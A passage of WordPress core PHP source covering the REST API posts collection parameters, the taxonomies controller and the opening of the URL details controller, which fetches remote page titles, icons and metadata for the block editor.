				),
				'default'     => array(),
			);
		}

		$query_params['before'] = array(
			'description' => __( 'Limit response to posts published before a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['modified_before'] = array(
			'description' => __( 'Limit response to posts modified before a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
			$query_params['menu_order'] = array(
				'description' => __( 'Limit result set to posts with a specific menu_order value.' ),
				'type'        => 'integer',
			);
		}

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by post attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
			),
		);

		if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
			$query_params['orderby']['enum'][] = 'menu_order';
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( $post_type->hierarchical || 'attachment' === $this->post_type ) {
			$query_params['parent']         = array(
				'description' => __( 'Limit result set to items with particular parent IDs.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
			$query_params['parent_exclude'] = array(
				'description' => __( 'Limit result set to all items except those of a particular parent ID.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
		}

		$query_params['search_columns'] = array(
			'default'     => array(),
			'description' => __( 'Array of column names to be searched.' ),
			'type'        => 'array',
			'items'       => array(
				'enum' => array( 'post_title', 'post_content', 'post_excerpt' ),
				'type' => 'string',
			),
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit result set to posts with one or more specific slugs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['status'] = array(
			'default'           => 'publish',
			'description'       => __( 'Limit result set to posts assigned one or more statuses.' ),
			'type'              => 'array',
			'items'             => array(
				'enum' => array_merge( array_keys( get_post_stati() ), array( 'any' ) ),
				'type' => 'string',
			),
			'sanitize_callback' => array( $this, 'sanitize_post_statuses' ),
		);

		$query_params = $this->prepare_taxonomy_limit_schema( $query_params );

		if ( 'post' === $this->post_type ) {
			$query_params['sticky'] = array(
				'description' => __( 'Limit result set to items that are sticky.' ),
				'type'        => 'boolean',
			);
		}

		/**
		 * Filters collection parameters for the posts controller.
		 *
		 * The dynamic part of the filter `$this->post_type` refers to the post
		 * type slug for the controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Query parameter. Use the
		 * `rest_{$this->post_type}_query` filter to set WP_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array        $query_params JSON Schema-formatted collection parameters.
		 * @param WP_Post_Type $post_type    Post type object.
		 */
		return apply_filters( "rest_{$this->post_type}_collection_params", $query_params, $post_type );
	}

	/**
	 * Sanitizes and validates the list of post statuses, including whether the
	 * user can query private statuses.
	 *
	 * @since 4.7.0
	 *
	 * @param string|array    $statuses  One or more post statuses.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @param string          $parameter Additional parameter to pass to validation.
	 * @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
	 */
	public function sanitize_post_statuses( $statuses, $request, $parameter ) {
		$statuses = wp_parse_slug_list( $statuses );

		// The default status is different in WP_REST_Attachments_Controller.
		$attributes     = $request->get_attributes();
		$default_status = $attributes['args']['status']['default'];

		foreach ( $statuses as $status ) {
			if ( $status === $default_status ) {
				continue;
			}

			$post_type_obj = get_post_type_object( $this->post_type );

			if ( current_user_can( $post_type_obj->cap->edit_posts ) || 'private' === $status && current_user_can( $post_type_obj->cap->read_private_posts ) ) {
				$result = rest_validate_request_arg( $status, $request, $parameter );
				if ( is_wp_error( $result ) ) {
					return $result;
				}
			} else {
				return new WP_Error(
					'rest_forbidden_status',
					__( 'Status is forbidden.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		return $statuses;
	}

	/**
	 * Prepares the 'tax_query' for a collection of posts.
	 *
	 * @since 5.7.0
	 *
	 * @param array           $args    WP_Query arguments.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array Updated query arguments.
	 */
	private function prepare_tax_query( array $args, WP_REST_Request $request ) {
		$relation = $request['tax_relation'];

		if ( $relation ) {
			$args['tax_query'] = array( 'relation' => $relation );
		}

		$taxonomies = wp_list_filter(
			get_object_taxonomies( $this->post_type, 'objects' ),
			array( 'show_in_rest' => true )
		);

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			$tax_include = $request[ $base ];
			$tax_exclude = $request[ $base . '_exclude' ];

			if ( $tax_include ) {
				$terms            = array();
				$include_children = false;
				$operator         = 'IN';

				if ( rest_is_array( $tax_include ) ) {
					$terms = $tax_include;
				} elseif ( rest_is_object( $tax_include ) ) {
					$terms            = empty( $tax_include['terms'] ) ? array() : $tax_include['terms'];
					$include_children = ! empty( $tax_include['include_children'] );

					if ( isset( $tax_include['operator'] ) && 'AND' === $tax_include['operator'] ) {
						$operator = 'AND';
					}
				}

				if ( $terms ) {
					$args['tax_query'][] = array(
						'taxonomy'         => $taxonomy->name,
						'field'            => 'term_id',
						'terms'            => $terms,
						'include_children' => $include_children,
						'operator'         => $operator,
					);
				}
			}

			if ( $tax_exclude ) {
				$terms            = array();
				$include_children = false;

				if ( rest_is_array( $tax_exclude ) ) {
					$terms = $tax_exclude;
				} elseif ( rest_is_object( $tax_exclude ) ) {
					$terms            = empty( $tax_exclude['terms'] ) ? array() : $tax_exclude['terms'];
					$include_children = ! empty( $tax_exclude['include_children'] );
				}

				if ( $terms ) {
					$args['tax_query'][] = array(
						'taxonomy'         => $taxonomy->name,
						'field'            => 'term_id',
						'terms'            => $terms,
						'include_children' => $include_children,
						'operator'         => 'NOT IN',
					);
				}
			}
		}

		return $args;
	}

	/**
	 * Prepares the collection schema for including and excluding items by terms.
	 *
	 * @since 5.7.0
	 *
	 * @param array $query_params Collection schema.
	 * @return array Updated schema.
	 */
	private function prepare_taxonomy_limit_schema( array $query_params ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		if ( ! $taxonomies ) {
			return $query_params;
		}

		$query_params['tax_relation'] = array(
			'description' => __( 'Limit result set based on relationship between multiple taxonomies.' ),
			'type'        => 'string',
			'enum'        => array( 'AND', 'OR' ),
		);

		$limit_schema = array(
			'type'  => array( 'object', 'array' ),
			'oneOf' => array(
				array(
					'title'       => __( 'Term ID List' ),
					'description' => __( 'Match terms with the listed IDs.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'integer',
					),
				),
				array(
					'title'                => __( 'Term ID Taxonomy Query' ),
					'description'          => __( 'Perform an advanced term query.' ),
					'type'                 => 'object',
					'properties'           => array(
						'terms'            => array(
							'description' => __( 'Term IDs.' ),
							'type'        => 'array',
							'items'       => array(
								'type' => 'integer',
							),
							'default'     => array(),
						),
						'include_children' => array(
							'description' => __( 'Whether to include child terms in the terms limiting the result set.' ),
							'type'        => 'boolean',
							'default'     => false,
						),
					),
					'additionalProperties' => false,
				),
			),
		);

		$include_schema = array_merge(
			array(
				/* translators: %s: Taxonomy name. */
				'description' => __( 'Limit result set to items with specific terms assigned in the %s taxonomy.' ),
			),
			$limit_schema
		);
		// 'operator' is supported only for 'include' queries.
		$include_schema['oneOf'][1]['properties']['operator'] = array(
			'description' => __( 'Whether items must be assigned all or any of the specified terms.' ),
			'type'        => 'string',
			'enum'        => array( 'AND', 'OR' ),
			'default'     => 'OR',
		);

		$exclude_schema = array_merge(
			array(
				/* translators: %s: Taxonomy name. */
				'description' => __( 'Limit result set to items except those with specific terms assigned in the %s taxonomy.' ),
			),
			$limit_schema
		);

		foreach ( $taxonomies as $taxonomy ) {
			$base         = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
			$base_exclude = $base . '_exclude';

			$query_params[ $base ]                = $include_schema;
			$query_params[ $base ]['description'] = sprintf( $query_params[ $base ]['description'], $base );

			$query_params[ $base_exclude ]                = $exclude_schema;
			$query_params[ $base_exclude ]['description'] = sprintf( $query_params[ $base_exclude ]['description'], $base );

			if ( ! $taxonomy->hierarchical ) {
				unset( $query_params[ $base ]['oneOf'][1]['properties']['include_children'] );
				unset( $query_params[ $base_exclude ]['oneOf'][1]['properties']['include_children'] );
			}
		}

		return $query_params;
	}
}
<?php
/**
 * REST API: WP_REST_Taxonomies_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to manage taxonomies via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Taxonomies_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'taxonomies';
	}

	/**
	 * Registers the routes for taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<taxonomy>[\w-]+)',
			array(
				'args'   => array(
					'taxonomy' => array(
						'description' => __( 'An alphanumeric identifier for the taxonomy.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			if ( ! empty( $request['type'] ) ) {
				$taxonomies = get_object_taxonomies( $request['type'], 'objects' );
			} else {
				$taxonomies = get_taxonomies( '', 'objects' );
			}

			foreach ( $taxonomies as $taxonomy ) {
				if ( ! empty( $taxonomy->show_in_rest ) && current_user_can( $taxonomy->cap->assign_terms ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to manage terms in this taxonomy.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all public taxonomies.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		if ( isset( $registered['type'] ) && ! empty( $request['type'] ) ) {
			$taxonomies = get_object_taxonomies( $request['type'], 'objects' );
		} else {
			$taxonomies = get_taxonomies( '', 'objects' );
		}

		$data = array();

		foreach ( $taxonomies as $tax_type => $value ) {
			if ( empty( $value->show_in_rest ) || ( 'edit' === $request['context'] && ! current_user_can( $value->cap->assign_terms ) ) ) {
				continue;
			}

			$tax               = $this->prepare_item_for_response( $value, $request );
			$tax               = $this->prepare_response_for_collection( $tax );
			$data[ $tax_type ] = $tax;
		}

		if ( empty( $data ) ) {
			// Response should still be returned as a JSON object when it is empty.
			$data = (object) $data;
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to a taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, otherwise false or WP_Error object.
	 */
	public function get_item_permissions_check( $request ) {

		$tax_obj = get_taxonomy( $request['taxonomy'] );

		if ( $tax_obj ) {
			if ( empty( $tax_obj->show_in_rest ) ) {
				return false;
			}

			if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->assign_terms ) ) {
				return new WP_Error(
					'rest_forbidden_context',
					__( 'Sorry, you are not allowed to manage terms in this taxonomy.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves a specific taxonomy.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$tax_obj = get_taxonomy( $request['taxonomy'] );

		if ( empty( $tax_obj ) ) {
			return new WP_Error(
				'rest_taxonomy_invalid',
				__( 'Invalid taxonomy.' ),
				array( 'status' => 404 )
			);
		}

		$data = $this->prepare_item_for_response( $tax_obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a taxonomy object for serialization.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$taxonomy` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Taxonomy     $item    Taxonomy data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$taxonomy = $item;

		$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $taxonomy->label;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $taxonomy->name;
		}

		if ( in_array( 'capabilities', $fields, true ) ) {
			$data['capabilities'] = $taxonomy->cap;
		}

		if ( in_array( 'description', $fields, true ) ) {
			$data['description'] = $taxonomy->description;
		}

		if ( in_array( 'labels', $fields, true ) ) {
			$data['labels'] = $taxonomy->labels;
		}

		if ( in_array( 'types', $fields, true ) ) {
			$data['types'] = array_values( $taxonomy->object_type );
		}

		if ( in_array( 'show_cloud', $fields, true ) ) {
			$data['show_cloud'] = $taxonomy->show_tagcloud;
		}

		if ( in_array( 'hierarchical', $fields, true ) ) {
			$data['hierarchical'] = $taxonomy->hierarchical;
		}

		if ( in_array( 'rest_base', $fields, true ) ) {
			$data['rest_base'] = $base;
		}

		if ( in_array( 'rest_namespace', $fields, true ) ) {
			$data['rest_namespace'] = $taxonomy->rest_namespace;
		}

		if ( in_array( 'visibility', $fields, true ) ) {
			$data['visibility'] = array(
				'public'             => (bool) $taxonomy->public,
				'publicly_queryable' => (bool) $taxonomy->publicly_queryable,
				'show_admin_column'  => (bool) $taxonomy->show_admin_column,
				'show_in_nav_menus'  => (bool) $taxonomy->show_in_nav_menus,
				'show_in_quick_edit' => (bool) $taxonomy->show_in_quick_edit,
				'show_ui'            => (bool) $taxonomy->show_ui,
			);
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $taxonomy ) );
		}

		/**
		 * Filters a taxonomy returned from the REST API.
		 *
		 * Allows modification of the taxonomy data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Taxonomy      $item     The original taxonomy object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_taxonomy', $response, $taxonomy, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.1.0
	 *
	 * @param WP_Taxonomy $taxonomy The taxonomy.
	 * @return array Links for the given taxonomy.
	 */
	protected function prepare_links( $taxonomy ) {
		return array(
			'collection'              => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'https://api.w.org/items' => array(
				'href' => rest_url( rest_get_route_for_taxonomy_items( $taxonomy->name ) ),
			),
		);
	}

	/**
	 * Retrieves the taxonomy's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 * @since 5.0.0 The `visibility` property was added.
	 * @since 5.9.0 The `rest_namespace` property was added.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'taxonomy',
			'type'       => 'object',
			'properties' => array(
				'capabilities'   => array(
					'description' => __( 'All capabilities used by the taxonomy.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'description'    => array(
					'description' => __( 'A human-readable description of the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'hierarchical'   => array(
					'description' => __( 'Whether or not the taxonomy should have children.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'labels'         => array(
					'description' => __( 'Human-readable labels for the taxonomy for various contexts.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'name'           => array(
					'description' => __( 'The title for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'slug'           => array(
					'description' => __( 'An alphanumeric identifier for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'show_cloud'     => array(
					'description' => __( 'Whether or not the term cloud should be displayed.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'types'          => array(
					'description' => __( 'Types associated with the taxonomy.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'string',
					),
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'rest_base'      => array(
					'description' => __( 'REST base route for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'rest_namespace' => array(
					'description' => __( 'REST namespace route for the taxonomy.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'visibility'     => array(
					'description' => __( 'The visibility settings for the taxonomy.' ),
					'type'        => 'object',
					'context'     => array( 'edit' ),
					'readonly'    => true,
					'properties'  => array(
						'public'             => array(
							'description' => __( 'Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users.' ),
							'type'        => 'boolean',
						),
						'publicly_queryable' => array(
							'description' => __( 'Whether the taxonomy is publicly queryable.' ),
							'type'        => 'boolean',
						),
						'show_ui'            => array(
							'description' => __( 'Whether to generate a default UI for managing this taxonomy.' ),
							'type'        => 'boolean',
						),
						'show_admin_column'  => array(
							'description' => __( 'Whether to allow automatic creation of taxonomy columns on associated post-types table.' ),
							'type'        => 'boolean',
						),
						'show_in_nav_menus'  => array(
							'description' => __( 'Whether to make the taxonomy available for selection in navigation menus.' ),
							'type'        => 'boolean',
						),
						'show_in_quick_edit' => array(
							'description' => __( 'Whether to show the taxonomy in the quick/bulk edit panel.' ),
							'type'        => 'boolean',
						),

					),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$new_params            = array();
		$new_params['context'] = $this->get_context_param( array( 'default' => 'view' ) );
		$new_params['type']    = array(
			'description' => __( 'Limit results to taxonomies associated with a specific post type.' ),
			'type'        => 'string',
		);
		return $new_params;
	}
}
<?php
/**
 * REST API: WP_REST_URL_Details_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Controller which provides REST endpoint for retrieving information
 * from a remote site's HTML response.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_URL_Details_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
		$this->namespace = 'wp-block-editor/v1';
		$this->rest_base = 'url-details';
	}

	/**
	 * Registers the necessary REST API routes.
	 *
	 * @since 5.9.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'parse_url_details' ),
					'args'                => array(
						'url' => array(
							'required'          => true,
							'description'       => __( 'The URL to process.' ),
							'validate_callback' => 'wp_http_validate_url',
							'sanitize_callback' => 'sanitize_url',
							'type'              => 'string',
							'format'            => 'uri',
						),
					),
					'permission_callback' => array( $this, 'permissions_check' ),
					'schema'              => array( $this, 'get_public_item_schema' ),
				),
			)
		);
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'url-details',
			'type'       => 'object',
			'properties' => array(
				'title'       => array(
					'description' => sprintf(
						/* translators: %s: HTML title tag. */
						__( 'The contents of the %s element from the URL.' ),
						'<title>'
					),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'icon'        => array(
					'description' => sprintf(
						/* translators: %s: HTML link tag. */
						__( 'The favicon image link of the %s element from the URL.' ),
						'<link rel="icon">'
					),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => sprintf(
						/* translators: %s: HTML meta tag. */
						__( 'The content of the %s element from the URL.' ),
						'<meta name="description">'
					),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'image'       => array(
					'description' => sprintf(
						/* translators: 1: HTML meta tag, 2: HTML meta tag. */
						__( 'The Open Graph image link of the %1$s or %2$s element from the URL.' ),
						'<meta property="og:image">',
						'<meta property="og:image:url">'
					),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the contents of the title tag from the HTML response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error The parsed details as a response object. WP_Error if there are errors.
	 */
	public function parse_url_details( $request ) {
		$url = untrailingslashit( $request['url'] );

		if ( empty( $url ) ) {
			return new WP_Error( 'rest_invalid_url', __( 'Invalid URL' ), array( 'status' => 404 ) );
		}

		// Transient per URL.
		$cache_key = $this->build_cache_key_for_url( $url );

		// Attempt to retrieve cached response.
		$cached_response = $this->get_cache( $cache_key );

		if ( ! empty( $cached_response ) ) {
			$remote_url_response = $cached_response;
		} else {
			$remote_url_response = $this->get_remote_url( $url );

			// Exit if we don't have a valid body or it's empty.
			if ( is_wp_error( $remote_url_response ) || empty( $remote_url_response ) ) {
				return $remote_url_response;
			}

			// Cache the valid response.
			$this->set_cache( $cache_key, $remote_url_response );
		}

		$html_head     = $this->get_document_head( $remote_url_response );
		$meta_elements = $this->get_meta_with_content_elements( $html_head );

		$data = $this->add_additional_fields_to_object(
			array(
				'title'       => $this->get_title( $html_head ),
				'icon'        => $this->get_icon( $html_head, $url ),
				'description' => $this->get_description( $meta_elements ),
				'image'       => $this->get_image( $meta_elements, $url ),
			),
			$request
		);

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		/**
		 * Filters the URL data for the response.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response            The response object.
		 * @param string           $url                 The requested URL.
		 * @param WP_REST_Request  $request             Request object.
		 * @param string           $remote_url_response HTTP response body from the remote URL.
		 */
		return apply_filters( 'rest_prepare_url_details', $response, $url, $request, $remote_url_response );
	}

	/**
	 * Checks whether a given request has permission to read remote URLs.
	 *
	 * @since 5.9.0
	 *
	 * @return WP_Error|bool True if the request has permission, else WP_Error.
	 */
	public function permissions_check() {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view_url_details',
			__( 'Sorry, you are not allowed to process remote URLs.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves the document title from a remote URL.
	 *
	 * @since 5.9.0
	 *
	 * @param string $url The website URL whose HTML to access.
	 * @return string|WP_Error The HTTP response from the remote URL on success.
	 *                         WP_Error if no response or no content.
	 */
	private function get_remote_url( $url ) {

		/*
		 * Provide a modified UA string to workaround web properties which block WordPress "Pingbacks".
		 * Why? The UA string used for pingback requests contains `WordPress/` which is very similar
		 * to that used as the default UA string by the WP HTTP API. Therefore requests from this
		 * REST endpoint are being unintentionally blocked as they are misidentified as pingback requests.
		 * By slightly modifying the UA string, but still retaining the "WordPress" identification (via "WP")
		 * we are able to work around this issue.
		 * Example UA string: `WP-URLDetails/5.9-alpha-51389 (+http://localhost:8888)`.
		*/
		$modified_user_agent = 'WP-URLDetails/' . get_bloginfo( 'version' ) . ' (+' . get_bloginfo( 'url' ) . ')';

		$args = array(
			'limit_response_size' => 150 * KB_IN_BYTES,
			'user-agent'          => $modified_user_agent,
		);

		/**
		 * Filters the HTTP request args for URL data retrieval.
		 *
		 * Can be used to adjust response size limit and other WP_Http::request() args.
		 *
		 * @since 5.9.0
		 *
		 * @param array  $args Arguments used for the HTTP request.
		 * @param string $url  The attempted URL.
		 */
		$args = apply_filters( 'rest_url_details_http_request_args', $args, $url );

		$response = wp_safe_remote_get( $url, $args );

		if ( WP_Http::OK !== wp_remote_retrieve_response_code( $response ) ) {
			// Not saving the error response to cache since the error might be temporary.
			return new WP_Error(
				'no_response',
				__( 'URL not found. Response returned a non-200 status code for this URL.' ),
				array( 'status' => WP_Http::NOT_FOUND )
			);
		}

		$remote_body = wp_remote_retrieve_body( $response );

		if ( empty( $remote_body ) ) {
			return new WP_Error(
				'no_content',
				__( 'Unable to retrieve body from response at this URL.' ),
				array( 'status' => WP_Http::NOT_FOUND )
			);
		}

		return $remote_body;
	}

	/**
	 * Parses the title tag contents from the provided HTML.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The HTML from the remote website at URL.
	 * @return string The title tag contents on success. Empty string if not found.
	 */
	private function get_title( $html ) {
		$pattern = '#<title[^>]*>(.*?)<\s*/\s*title>#is';
		preg_match( $pattern, $html, $match_title );

		if ( empty( $match_title[1] ) || ! is_string( $match_title[1] ) ) {
			return '';
		}

		$title = trim( $match_title[1] );

		return $this->prepare_metadata_for_output( $title );
	}

	/**
	 * Parses the site icon from the provided HTML.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The HTML from the remote website at URL.
	 * @param string $url  The target website URL.
	 * @return string The icon URI on success. Empty string if not found.
	 */
	private function get_icon( $html, $url ) {
		// Grab the icon's link element.
		$pattern = '#<link\s[^>]*rel=(?:[\"\']??)\s*(?:icon|shortcut icon|icon shortcut)\s*(?:[\"\']??)[^>]*\/?>#isU';
		preg_match( $pattern, $html, $element );
		if ( empty( $element[0] ) || ! is_string( $element[0] ) ) {
			return '';
		}
		$element = trim( $element[0] );

		// Get the icon's href value.
		$pattern = '#href=([\"\']??)([^\" >]*?)\\1[^>]*#isU';
		preg_match( $pattern, $element, $icon );
		if ( empty( $icon[2] ) || ! is_string( $icon[2] ) ) {
			return '';
		}
		$icon = trim( $icon[2] );

		// If the icon is a data URL, return it.
		$parsed_icon = parse_url( $icon );
		if ( isset( $parsed_icon['scheme'] ) && 'data' === $parsed_icon['scheme'] ) {
			return $icon;
		}

		// Attempt to convert relative URLs to absolute.
		if ( ! is_string( $url ) || '' === $url ) {
			return $icon;
		}
		$parsed_url = parse_url( $url );
		if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) {
			$root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/';
			$icon     = WP_Http::make_absolute_url( $icon, $root_url );
		}

		return $icon;
	}

	/**
	 * Parses the meta description from the provided HTML.
	 *
	 * @since 5.9.0
	 *
	 * @param array $meta_elements {
	 *     A multi-dimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 * @return string The meta description contents on success. Empty string if not found.
	 */
	private function get_description( $meta_elements ) {
		// Bail out if there are no meta elements.
		if ( empty( $meta_elements[0] ) ) {
			return '';
		}

		$description = $this->get_metadata_from_meta_element(
			$meta_elements,
			'name',
